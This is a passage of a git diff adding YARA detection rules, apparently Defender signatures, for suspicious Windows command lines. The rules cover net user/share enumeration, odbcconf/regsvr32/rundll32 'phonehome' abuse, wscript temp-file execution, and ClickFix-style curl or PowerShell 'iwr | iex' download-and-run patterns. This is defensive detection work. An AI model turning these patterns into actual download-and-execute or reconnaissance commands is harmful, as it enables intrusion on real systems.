} //1 瑎畑牥䥹普牯慭楴湯牐捯獥s + $a_01_1 = {4b 65 72 6e 65 6c 43 61 6c 6c 62 61 63 6b 54 61 62 6c 65 00 } //1 敋湲汥慃汬慢正慔汢e + $a_01_2 = {47 65 74 50 72 6f 63 41 64 64 72 65 73 73 00 } //1 + $a_01_3 = {56 69 72 74 75 61 6c 41 6c 6c 6f 63 45 78 00 } //1 + $a_01_4 = {57 72 69 74 65 50 72 6f 63 65 73 73 4d 65 6d 6f 72 79 00 } //1 + $a_01_5 = {53 65 6e 64 4d 65 73 73 61 67 65 00 } //1 敓摮敍獳条e + $a_01_6 = {52 65 61 64 50 72 6f 63 65 73 73 4d 65 6d 6f 72 79 00 } //1 敒摡牐捯獥䵳浥牯y + $a_01_7 = {5f 5f 66 6e 43 4f 50 59 44 41 54 41 00 } //1 + $a_01_8 = {57 4d 5f 43 4f 50 59 44 41 54 41 00 } //1 䵗䍟偏䑙呁A + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1) >=9 + +} \ No newline at end of file diff --git a/Trojan/Win32/SusNetExec/Trojan_Win32_SusNetExec_MK.yar b/Trojan/Win32/SusNetExec/Trojan_Win32_SusNetExec_MK.yar new file mode 100644 index 0000000000..b2b572e409 --- /dev/null +++ b/Trojan/Win32/SusNetExec/Trojan_Win32_SusNetExec_MK.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win32_SusNetExec_MK{ + meta: + description = "Trojan:Win32/SusNetExec.MK,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 06 00 00 " + + strings : + $a_00_0 = {73 00 62 00 5f 00 } //1 sb_ + $a_00_1 = {5f 00 62 00 73 00 20 00 3e 00 6e 00 75 00 6c 00 } //1 _bs >nul + $a_00_2 = {6e 00 65 00 74 00 20 00 73 00 68 00 61 00 72 00 65 00 20 00 26 00 20 00 65 00 78 00 69 00 74 00 } //1 net share & exit + $a_00_3 = {6e 00 65 00 74 00 20 00 6c 00 6f 00 63 00 61 00 6c 00 67 00 72 00 6f 00 75 00 70 00 20 00 26 00 20 00 65 00 78 00 69 00 74 00 } //1 net localgroup & exit + $a_00_4 = {6e 00 65 00 74 00 20 00 75 00 73 00 65 00 72 00 73 00 20 00 26 00 20 00 65 00 78 00 69 00 74 00 } //1 net users & exit + $a_00_5 = {6e 00 65 00 74 00 20 00 75 00 73 00 65 00 72 00 20 00 26 00 20 00 65 00 78 00 69 00 74 00 } //1 net user & exit + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/SusNetShare/Trojan_Win32_SusNetShare_MK.yar b/Trojan/Win32/SusNetShare/Trojan_Win32_SusNetShare_MK.yar new file mode 100644 index 0000000000..a9a1e9da25 --- /dev/null +++ b/Trojan/Win32/SusNetShare/Trojan_Win32_SusNetShare_MK.yar @@ -0,0 +1,26 @@ + +rule Trojan_Win32_SusNetShare_MK{ + meta: + description = "Trojan:Win32/SusNetShare.MK,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 04 00 00 " + + strings : + $a_00_0 = {73 00 62 00 5f 00 } //1 sb_ + $a_00_1 = {5f 00 62 00 73 00 20 00 3e 00 6e 00 75 00 6c 00 } //1 _bs >nul + $a_00_2 = {6e 00 65 00 74 00 20 00 73 00 68 00 61 00 72 00 65 00 20 00 26 00 20 00 65 00 78 00 69 00 74 00 } //1 net share & exit + $a_00_3 = {61 00 61 00 30 00 36 00 65 00 33 00 39 00 65 00 2d 00 37 00 38 00 37 00 36 00 2d 00 34 00 62 00 61 00 33 00 2d 00 62 00 65 00 65 00 65 00 2d 00 34 00 32 00 62 00 64 00 38 00 30 00 66 00 66 00 33 00 36 00 32 00 61 00 } //-1 aa06e39e-7876-4ba3-beee-42bd80ff362a + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*-1) >=3 + +} +rule Trojan_Win32_SusNetShare_MK_2{ + meta: + description = "Trojan:Win32/SusNetShare.MK,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_00_0 = {73 00 62 00 5f 00 } //1 sb_ + $a_00_1 = {5f 00 62 00 73 00 20 00 3e 00 6e 00 75 00 6c 00 } //1 _bs >nul + $a_00_2 = {6e 00 65 00 74 00 20 00 73 00 68 00 61 00 72 00 65 00 20 00 26 00 20 00 65 00 78 00 69 00 74 00 } //1 net share & exit + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/SusNetUser/Trojan_Win32_SusNetUser_MK.yar b/Trojan/Win32/SusNetUser/Trojan_Win32_SusNetUser_MK.yar new file mode 100644 index 0000000000..dc0f52e6a9 --- /dev/null +++ b/Trojan/Win32/SusNetUser/Trojan_Win32_SusNetUser_MK.yar @@ -0,0 +1,26 @@ + +rule Trojan_Win32_SusNetUser_MK{ + meta: + description = "Trojan:Win32/SusNetUser.MK,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 04 00 00 " + + strings : + $a_00_0 = {73 00 62 00 5f 00 } //1 sb_ + $a_00_1 = {5f 00 62 00 73 00 20 00 3e 00 6e 00 75 00 6c 00 } //1 _bs >nul + $a_00_2 = {6e 00 65 00 74 00 20 00 6c 00 6f 00 63 00 61 00 6c 00 67 00 72 00 6f 00 75 00 70 00 20 00 26 00 20 00 65 00 78 00 69 00 74 00 } //1 net localgroup & exit + $a_00_3 = {62 00 61 00 30 00 36 00 65 00 33 00 39 00 65 00 2d 00 37 00 38 00 37 00 36 00 2d 00 34 00 62 00 61 00 33 00 2d 00 62 00 65 00 65 00 65 00 2d 00 34 00 32 00 62 00 64 00 38 00 30 00 66 00 66 00 33 00 36 00 32 00 65 00 } //-1 ba06e39e-7876-4ba3-beee-42bd80ff362e + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*-1) >=3 + +} +rule Trojan_Win32_SusNetUser_MK_2{ + meta: + description = "Trojan:Win32/SusNetUser.MK,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_00_0 = {73 00 62 00 5f 00 } //1 sb_ + $a_00_1 = {5f 00 62 00 73 00 20 00 3e 00 6e 00 75 00 6c 00 } //1 _bs >nul + $a_00_2 = {6e 00 65 00 74 00 20 00 6c 00 6f 00 63 00 61 00 6c 00 67 00 72 00 6f 00 75 00 70 00 20 00 26 00 20 00 65 00 78 00 69 00 74 00 } //1 net localgroup & exit + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/SusOdbcconf/Trojan_Win32_SusOdbcconf_AM.yar b/Trojan/Win32/SusOdbcconf/Trojan_Win32_SusOdbcconf_AM.yar new file mode 100644 index 0000000000..c87a59e353 --- /dev/null +++ b/Trojan/Win32/SusOdbcconf/Trojan_Win32_SusOdbcconf_AM.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_SusOdbcconf_AM{ + meta: + description = "Trojan:Win32/SusOdbcconf.AM,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 05 00 00 " + + strings : + $a_00_0 = {73 00 62 00 5f 00 } //1 sb_ + $a_00_1 = {5f 00 62 00 73 00 20 00 3e 00 6e 00 75 00 6c 00 } //1 _bs >nul + $a_00_2 = {6f 00 64 00 62 00 63 00 63 00 6f 00 6e 00 66 00 2e 00 65 00 78 00 65 00 20 00 2f 00 73 00 20 00 2f 00 61 00 20 00 7b 00 72 00 65 00 67 00 73 00 76 00 72 00 20 00 } //1 odbcconf.exe /s /a {regsvr + $a_00_3 = {70 00 68 00 6f 00 6e 00 65 00 68 00 6f 00 6d 00 65 00 } //1 phonehome + $a_00_4 = {35 00 30 00 36 00 30 00 37 00 39 00 61 00 39 00 2d 00 33 00 34 00 32 00 37 00 2d 00 34 00 34 00 62 00 31 00 2d 00 62 00 37 00 34 00 35 00 2d 00 61 00 31 00 63 00 39 00 38 00 35 00 64 00 30 00 33 00 32 00 31 00 39 00 } //-1 506079a9-3427-44b1-b745-a1c985d03219 + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*-1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/SusOdbcconf/Trojan_Win32_SusOdbcconf_MK.yar b/Trojan/Win32/SusOdbcconf/Trojan_Win32_SusOdbcconf_MK.yar new file mode 100644 index 0000000000..232a665d42 --- /dev/null +++ b/Trojan/Win32/SusOdbcconf/Trojan_Win32_SusOdbcconf_MK.yar @@ -0,0 +1,28 @@ + +rule Trojan_Win32_SusOdbcconf_MK{ + meta: + description = "Trojan:Win32/SusOdbcconf.MK,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 05 00 00 " + + strings : + $a_00_0 = {73 00 62 00 5f 00 } //1 sb_ + $a_00_1 = {5f 00 62 00 73 00 20 00 3e 00 6e 00 75 00 6c 00 } //1 _bs >nul + $a_00_2 = {6f 00 64 00 62 00 63 00 63 00 6f 00 6e 00 66 00 2e 00 65 00 78 00 65 00 20 00 2f 00 73 00 20 00 2f 00 61 00 20 00 7b 00 72 00 65 00 67 00 73 00 76 00 72 00 20 00 } //1 odbcconf.exe /s /a {regsvr + $a_00_3 = {70 00 68 00 6f 00 6e 00 65 00 68 00 6f 00 6d 00 65 00 } //1 phonehome + $a_00_4 = {61 00 61 00 30 00 36 00 65 00 33 00 39 00 65 00 2d 00 37 00 38 00 37 00 36 00 2d 00 34 00 62 00 61 00 33 00 2d 00 62 00 65 00 65 00 65 00 2d 00 34 00 32 00 62 00 64 00 38 00 30 00 66 00 66 00 33 00 36 00 34 00 69 00 } //-1 aa06e39e-7876-4ba3-beee-42bd80ff364i + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*-1) >=4 + +} +rule Trojan_Win32_SusOdbcconf_MK_2{ + meta: + description = "Trojan:Win32/SusOdbcconf.MK,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_00_0 = {73 00 62 00 5f 00 } //1 sb_ + $a_00_1 = {5f 00 62 00 73 00 20 00 3e 00 6e 00 75 00 6c 00 } //1 _bs >nul + $a_00_2 = {6f 00 64 00 62 00 63 00 63 00 6f 00 6e 00 66 00 2e 00 65 00 78 00 65 00 20 00 2f 00 73 00 20 00 2f 00 61 00 20 00 7b 00 72 00 65 00 67 00 73 00 76 00 72 00 20 00 } //1 odbcconf.exe /s /a {regsvr + $a_00_3 = {70 00 68 00 6f 00 6e 00 65 00 68 00 6f 00 6d 00 65 00 } //1 phonehome + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/SusProxyDll/Trojan_Win32_SusProxyDll_MK.yar b/Trojan/Win32/SusProxyDll/Trojan_Win32_SusProxyDll_MK.yar new file mode 100644 index 0000000000..169d07b2f9 --- /dev/null +++ b/Trojan/Win32/SusProxyDll/Trojan_Win32_SusProxyDll_MK.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_SusProxyDll_MK{ + meta: + description = "Trojan:Win32/SusProxyDll.MK,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_80_0 = {72 75 6e 64 6c 6c 33 32 } //rundll32 1 + $a_80_1 = {70 68 6f 6e 65 68 6f 6d 65 5f 6d 61 69 6e 20 } //phonehome_main 1 + $a_80_2 = {70 68 6f 6e 65 48 6f 6d 65 } //phoneHome 1 + $a_80_3 = {5c 5c 2e 5c 70 69 70 65 5c 6d 6f 76 65 } //\\.\pipe\move 1 + condition: + ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/SusRegSvr/Trojan_Win32_SusRegSvr_MK.yar b/Trojan/Win32/SusRegSvr/Trojan_Win32_SusRegSvr_MK.yar new file mode 100644 index 0000000000..58d67cd534 --- /dev/null +++ b/Trojan/Win32/SusRegSvr/Trojan_Win32_SusRegSvr_MK.yar @@ -0,0 +1,24 @@ + +rule Trojan_Win32_SusRegSvr_MK{ + meta: + description = "Trojan:Win32/SusRegSvr.MK,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 03 00 00 " + + strings : + $a_00_0 = {72 00 65 00 67 00 73 00 76 00 72 00 33 00 32 00 2e 00 65 00 78 00 65 00 20 00 2f 00 75 00 20 00 2f 00 73 00 } //1 regsvr32.exe /u /s + $a_00_1 = {70 00 68 00 6f 00 6e 00 65 00 68 00 6f 00 6d 00 65 00 } //1 phonehome + $a_00_2 = {61 00 61 00 30 00 36 00 65 00 33 00 39 00 65 00 2d 00 37 00 38 00 37 00 36 00 2d 00 34 00 62 00 61 00 33 00 2d 00 62 00 65 00 65 00 65 00 2d 00 34 00 32 00 62 00 64 00 38 00 30 00 66 00 66 00 33 00 36 00 33 00 65 00 } //-1 aa06e39e-7876-4ba3-beee-42bd80ff363e + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*-1) >=2 + +} +rule Trojan_Win32_SusRegSvr_MK_2{ + meta: + description = "Trojan:Win32/SusRegSvr.MK,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_00_0 = {72 00 65 00 67 00 73 00 76 00 72 00 33 00 32 00 2e 00 65 00 78 00 65 00 20 00 2f 00 75 00 20 00 2f 00 73 00 } //1 regsvr32.exe /u /s + $a_00_1 = {70 00 68 00 6f 00 6e 00 65 00 68 00 6f 00 6d 00 65 00 } //1 phonehome + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/SusRunDll/Trojan_Win32_SusRunDll_MK.yar b/Trojan/Win32/SusRunDll/Trojan_Win32_SusRunDll_MK.yar new file mode 100644 index 0000000000..313200eca1 --- /dev/null +++ b/Trojan/Win32/SusRunDll/Trojan_Win32_SusRunDll_MK.yar @@ -0,0 +1,26 @@ + +rule Trojan_Win32_SusRunDll_MK{ + meta: + description = "Trojan:Win32/SusRunDll.MK,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 04 00 00 " + + strings : + $a_00_0 = {72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 } //1 rundll32 + $a_00_1 = {70 00 68 00 6f 00 6e 00 65 00 68 00 6f 00 6d 00 65 00 } //1 phonehome + $a_00_2 = {70 00 68 00 6f 00 6e 00 65 00 68 00 6f 00 6d 00 65 00 5f 00 6d 00 61 00 69 00 6e 00 } //1 phonehome_main + $a_00_3 = {61 00 61 00 30 00 36 00 65 00 33 00 39 00 65 00 2d 00 37 00 38 00 37 00 36 00 2d 00 34 00 62 00 61 00 33 00 2d 00 62 00 65 00 65 00 65 00 2d 00 34 00 32 00 62 00 64 00 38 00 30 00 66 00 66 00 33 00 36 00 32 00 65 00 } //-1 aa06e39e-7876-4ba3-beee-42bd80ff362e + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*-1) >=3 + +} +rule Trojan_Win32_SusRunDll_MK_2{ + meta: + description = "Trojan:Win32/SusRunDll.MK,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_00_0 = {72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 } //1 rundll32 + $a_00_1 = {70 00 68 00 6f 00 6e 00 65 00 68 00 6f 00 6d 00 65 00 } //1 phonehome + $a_00_2 = {70 00 68 00 6f 00 6e 00 65 00 68 00 6f 00 6d 00 65 00 5f 00 6d 00 61 00 69 00 6e 00 } //1 phonehome_main + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/SusTempExec/Trojan_Win32_SusTempExec_MK.yar b/Trojan/Win32/SusTempExec/Trojan_Win32_SusTempExec_MK.yar new file mode 100644 index 0000000000..f3e6d5dab7 --- /dev/null +++ b/Trojan/Win32/SusTempExec/Trojan_Win32_SusTempExec_MK.yar @@ -0,0 +1,17 @@ + +rule Trojan_Win32_SusTempExec_MK{ + meta: + description = "Trojan:Win32/SusTempExec.MK,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 07 00 00 " + + strings : + $a_00_0 = {77 00 73 00 63 00 72 00 69 00 70 00 74 00 } //1 wscript + $a_00_1 = {61 00 70 00 70 00 64 00 61 00 74 00 61 00 5c 00 6c 00 6f 00 63 00 61 00 6c 00 5c 00 74 00 65 00 6d 00 70 00 } //1 appdata\local\temp + $a_00_2 = {62 00 64 00 61 00 74 00 61 00 2e 00 76 00 62 00 73 00 20 00 2f 00 2f 00 62 00 } //1 bdata.vbs //b + $a_02_3 = {5c 00 74 00 65 00 6d 00 70 00 5c 00 [0-60] 2e 00 74 00 78 00 74 00 2e 00 65 00 78 00 65 00 } //1 + $a_02_4 = {5c 74 65 6d 70 5c [0-60] 2e 74 78 74 2e 65 78 65 } //1 + $a_80_5 = {70 68 6f 6e 65 68 6f 6d 65 5f 6d 61 69 6e 20 } //phonehome_main 1 + $a_80_6 = {5c 5c 2e 5c 70 69 70 65 5c 6d 6f 76 65 } //\\.\pipe\move 1 + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_02_3 & 1)*1+(#a_02_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/SusWmIc/Trojan_Win32_SusWmIc_MK.yar b/Trojan/Win32/SusWmIc/Trojan_Win32_SusWmIc_MK.yar new file mode 100644 index 0000000000..b915e2baa9 --- /dev/null +++ b/Trojan/Win32/SusWmIc/Trojan_Win32_SusWmIc_MK.yar @@ -0,0 +1,37 @@ + +rule Trojan_Win32_SusWmIc_MK{ + meta: + description = "Trojan:Win32/SusWmIc.MK,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 03 00 00 " + + strings : + $a_00_0 = {77 00 6d 00 69 00 63 00 20 00 2f 00 6e 00 6f 00 64 00 65 00 3a 00 6c 00 6f 00 63 00 61 00 6c 00 68 00 6f 00 73 00 74 00 20 00 2f 00 6e 00 61 00 6d 00 65 00 73 00 70 00 61 00 63 00 65 00 3a 00 } //1 wmic /node:localhost /namespace: + $a_00_1 = {2f 00 66 00 6f 00 72 00 6d 00 61 00 74 00 3a 00 6c 00 69 00 73 00 74 00 } //1 /format:list + $a_00_2 = {61 00 61 00 30 00 36 00 65 00 33 00 39 00 65 00 2d 00 37 00 38 00 37 00 36 00 2d 00 34 00 62 00 61 00 33 00 2d 00 62 00 65 00 65 00 65 00 2d 00 34 00 32 00 62 00 64 00 38 00 30 00 66 00 66 00 33 00 36 00 32 00 67 00 } //-1 aa06e39e-7876-4ba3-beee-42bd80ff362g + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*-1) >=2 + +} +rule Trojan_Win32_SusWmIc_MK_2{ + meta: + description = "Trojan:Win32/SusWmIc.MK,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_00_0 = {77 00 6d 00 69 00 63 00 20 00 2f 00 6e 00 6f 00 64 00 65 00 3a 00 6c 00 6f 00 63 00 61 00 6c 00 68 00 6f 00 73 00 74 00 20 00 2f 00 6e 00 61 00 6d 00 65 00 73 00 70 00 61 00 63 00 65 00 3a 00 } //1 wmic /node:localhost /namespace: + $a_00_1 = {2f 00 66 00 6f 00 72 00 6d 00 61 00 74 00 3a 00 6c 00 69 00 73 00 74 00 } //1 /format:list + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1) >=2 + +} +rule Trojan_Win32_SusWmIc_MK_3{ + meta: + description = "Trojan:Win32/SusWmIc.MK,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 04 00 00 " + + strings : + $a_00_0 = {77 00 6d 00 69 00 63 00 20 00 2f 00 6e 00 6f 00 64 00 65 00 3a 00 6c 00 6f 00 63 00 61 00 6c 00 68 00 6f 00 73 00 74 00 20 00 2f 00 6e 00 61 00 6d 00 65 00 73 00 70 00 61 00 63 00 65 00 3a 00 } //1 wmic /node:localhost /namespace: + $a_00_1 = {2f 00 66 00 6f 00 72 00 6d 00 61 00 74 00 3a 00 6c 00 69 00 73 00 74 00 } //1 /format:list + $a_00_2 = {72 00 65 00 67 00 73 00 76 00 72 00 33 00 32 00 2e 00 65 00 78 00 65 00 20 00 2f 00 75 00 20 00 2f 00 73 00 } //1 regsvr32.exe /u /s + $a_00_3 = {70 00 68 00 6f 00 6e 00 65 00 68 00 6f 00 6d 00 65 00 5f 00 6d 00 61 00 69 00 6e 00 } //1 phonehome_main + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/SusWscript/Trojan_Win32_SusWscript_MK.yar b/Trojan/Win32/SusWscript/Trojan_Win32_SusWscript_MK.yar new file mode 100644 index 0000000000..9ad3cd2590 --- /dev/null +++ b/Trojan/Win32/SusWscript/Trojan_Win32_SusWscript_MK.yar @@ -0,0 +1,26 @@ + +rule Trojan_Win32_SusWscript_MK{ + meta: + description = "Trojan:Win32/SusWscript.MK,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 04 00 00 " + + strings : + $a_00_0 = {77 00 73 00 63 00 72 00 69 00 70 00 74 00 } //1 wscript + $a_00_1 = {61 00 70 00 70 00 64 00 61 00 74 00 61 00 5c 00 6c 00 6f 00 63 00 61 00 6c 00 5c 00 74 00 65 00 6d 00 70 00 } //1 appdata\local\temp + $a_00_2 = {62 00 64 00 61 00 74 00 61 00 2e 00 76 00 62 00 73 00 20 00 2f 00 2f 00 62 00 } //1 bdata.vbs //b + $a_00_3 = {61 00 61 00 30 00 36 00 65 00 33 00 39 00 65 00 2d 00 37 00 38 00 37 00 36 00 2d 00 34 00 62 00 61 00 33 00 2d 00 62 00 65 00 65 00 65 00 2d 00 34 00 32 00 62 00 64 00 38 00 30 00 66 00 66 00 33 00 36 00 32 00 66 00 } //-1 aa06e39e-7876-4ba3-beee-42bd80ff362f + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*-1) >=3 + +} +rule Trojan_Win32_SusWscript_MK_2{ + meta: + description = "Trojan:Win32/SusWscript.MK,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_00_0 = {77 00 73 00 63 00 72 00 69 00 70 00 74 00 } //1 wscript + $a_00_1 = {61 00 70 00 70 00 64 00 61 00 74 00 61 00 5c 00 6c 00 6f 00 63 00 61 00 6c 00 5c 00 74 00 65 00 6d 00 70 00 } //1 appdata\local\temp + $a_00_2 = {62 00 64 00 61 00 74 00 61 00 2e 00 76 00 62 00 73 00 20 00 2f 00 2f 00 62 00 } //1 bdata.vbs //b + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/SuspClickFix/Trojan_Win32_SuspClickFix_A.yar b/Trojan/Win32/SuspClickFix/Trojan_Win32_SuspClickFix_A.yar new file mode 100644 index 0000000000..012d995d6b --- /dev/null +++ b/Trojan/Win32/SuspClickFix/Trojan_Win32_SuspClickFix_A.yar @@ -0,0 +1,23 @@ + +rule Trojan_Win32_SuspClickFix_A{ + meta: + description = "Trojan:Win32/SuspClickFix.A,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 0d 00 00 " + + strings : + $a_00_0 = {5c 00 63 00 75 00 72 00 6c 00 2e 00 65 00 78 00 65 00 00 00 } //3 + $a_00_1 = {68 00 74 00 74 00 70 00 } //3 http + $a_00_2 = {20 00 2d 00 6f 00 20 00 } //3 -o + $a_02_3 = {43 00 3a 00 5c 00 55 00 73 00 65 00 72 00 73 00 5c 00 [0-20] 5c 00 [0-20] 2e 00 62 00 61 00 74 00 } //1 + $a_02_4 = {43 00 3a 00 5c 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 44 00 61 00 74 00 61 00 5c 00 [0-20] 2e 00 62 00 61 00 74 00 } //1 + $a_02_5 = {5c 00 41 00 70 00 70 00 44 00 61 00 74 00 61 00 5c 00 52 00 6f 00 61 00 6d 00 69 00 6e 00 67 00 5c 00 [0-20] 2e 00 7a 00 69 00 70 00 } //1 + $a_02_6 = {43 00 3a 00 5c 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 44 00 61 00 74 00 61 00 5c 00 [0-20] 2e 00 7a 00 69 00 70 00 } //1 + $a_02_7 = {43 00 3a 00 5c 00 55 00 73 00 65 00 72 00 73 00 5c 00 [0-20] 5c 00 [0-20] 2e 00 7a 00 69 00 70 00 } //1 + $a_00_8 = {2e 00 61 00 6c 00 69 00 79 00 75 00 6e 00 63 00 73 00 2e 00 63 00 6f 00 6d 00 2f 00 } //1 .aliyuncs.com/ + $a_00_9 = {2e 00 6d 00 79 00 71 00 63 00 6c 00 6f 00 75 00 64 00 2e 00 63 00 6f 00 6d 00 2f 00 } //1 .myqcloud.com/ + $a_02_10 = {5c 00 4d 00 75 00 73 00 69 00 63 00 5c 00 [0-30] 2e 00 6d 00 73 00 69 00 } //1 + $a_02_11 = {5c 00 41 00 70 00 70 00 44 00 61 00 74 00 61 00 5c 00 4c 00 6f 00 63 00 61 00 6c 00 5c 00 [0-30] 2e 00 70 00 64 00 66 00 } //1 + $a_02_12 = {20 00 2d 00 4c 00 20 00 25 00 ?? ?? ?? ?? 25 00 ?? ?? ?? ?? 25 00 ?? ?? ?? ?? 25 00 ?? ?? ?? ?? 25 00 ?? ?? ?? ?? 25 00 } //4 + condition: + ((#a_00_0 & 1)*3+(#a_00_1 & 1)*3+(#a_00_2 & 1)*3+(#a_02_3 & 1)*1+(#a_02_4 & 1)*1+(#a_02_5 & 1)*1+(#a_02_6 & 1)*1+(#a_02_7 & 1)*1+(#a_00_8 & 1)*1+(#a_00_9 & 1)*1+(#a_02_10 & 1)*1+(#a_02_11 & 1)*1+(#a_02_12 & 1)*4) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/SuspClickFix/Trojan_Win32_SuspClickFix_B.yar b/Trojan/Win32/SuspClickFix/Trojan_Win32_SuspClickFix_B.yar new file mode 100644 index 0000000000..2a88629468 --- /dev/null +++ b/Trojan/Win32/SuspClickFix/Trojan_Win32_SuspClickFix_B.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_SuspClickFix_B{ + meta: + description = "Trojan:Win32/SuspClickFix.B,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 04 00 00 " + + strings : + $a_00_0 = {5c 00 63 00 75 00 72 00 6c 00 2e 00 65 00 78 00 65 00 00 00 } //1 + $a_00_1 = {5c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 00 00 } //1 + $a_00_2 = {68 00 74 00 74 00 70 00 } //1 http + $a_00_3 = {2d 00 2d 00 75 00 72 00 6c 00 20 00 68 00 74 00 74 00 70 00 } //-10 --url http + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*-10) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/SuspClickFix/Trojan_Win32_SuspClickFix_C.yar b/Trojan/Win32/SuspClickFix/Trojan_Win32_SuspClickFix_C.yar new file mode 100644 index 0000000000..415a75ea79 --- /dev/null +++ b/Trojan/Win32/SuspClickFix/Trojan_Win32_SuspClickFix_C.yar @@ -0,0 +1,17 @@ + +rule Trojan_Win32_SuspClickFix_C{ + meta: + description = "Trojan:Win32/SuspClickFix.C,SIGNATURE_TYPE_CMDHSTR_EXT,10 00 10 00 07 00 00 " + + strings : + $a_00_0 = {5c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 00 00 } //10 + $a_00_1 = {69 00 77 00 72 00 20 00 } //5 iwr + $a_00_2 = {69 00 65 00 78 00 20 00 24 00 } //1 iex $ + $a_00_3 = {7c 00 20 00 69 00 65 00 78 00 } //1 | iex + $a_00_4 = {7c 00 69 00 65 00 78 00 } //1 |iex + $a_00_5 = {3b 00 69 00 65 00 78 00 20 00 } //1 ;iex + $a_00_6 = {69 00 65 00 78 00 28 00 } //1 iex( + condition: + ((#a_00_0 & 1)*10+(#a_00_1 & 1)*5+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1) >=16 + +} \ No newline at end of file diff --git 